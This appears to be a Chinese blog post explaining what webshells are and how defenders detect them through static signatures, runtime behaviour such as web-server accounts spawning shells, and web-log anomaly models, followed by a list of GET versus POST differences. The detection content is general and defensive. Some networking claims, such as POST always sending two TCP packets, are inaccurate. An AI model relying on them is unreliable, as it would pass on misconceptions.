webshell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

黑客通过浏览器以 HTTP 协议访问 Web Server 上的一个 CGI 文件,是一个合法的 TCP 连接,TCP/IP 的应用层之下没有任何特征,只能在应用层进行检测。黑客入侵服务器,使用 webshell,不管是传文件还是改文件,必然有一个文件会包含 webshell 代码,很容易想到从文件代码入手,这是静态特征检测;webshell 运行后,B/S 数据通过 HTTP 交互,HTTP 请求 / 响应中可以找到蛛丝马迹,这是动态特征检测。
1、静态检测
静态检测通过匹配特征码,特征值,危险函数函数来查找 webshell 的方法,只能查找已知的 webshell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。
2、动态检测
Linux 下就是 nobody 用户起了 bash,Win 下就是 IIS User 启动 cmd,这些都是动态特征。再者如果黑客反向连接的话,那很更容易检测了,Agent 和 IDS 都可以抓现行。Webshell 总有一个 HTTP 请求,如果我在网络层监控 HTTP,并且检测到有人访问了一个从没反问过得文件,而且返回了 200,则很容易定位到 webshell,这便是 http 异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵了。
3、日志检测
使用 Webshell 一般不会在系统日志中留下记录,但是会在网站的 web 日志中留下 Webshell 页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP 异常请求模型检测。

GET 和 POST 的区别

1、get是获取数据,post是修改数据
2、get把请求的数据放在url上, 以?分割URL和传输数据,参数之间以&相连,所以get不太安全。而post把数据放在HTTP的包体内(requrest body)
3、get提交的数据最大是2k( 限制实际上取决于浏览器), post理论上没有限制。
4、GET产生一个TCP数据包,浏览器会把http header和data一并发送出去,服务器响应200(返回数据); POST产生两个TCP数据包,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
5、GET请求会被浏览器主动缓存,而POST不会,除非手动设置。
6、GET是幂等的,而POST不是幂等的

小讯
上一篇 2025-01-13 18:28
下一篇 2025-04-01 15:57

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/12373.html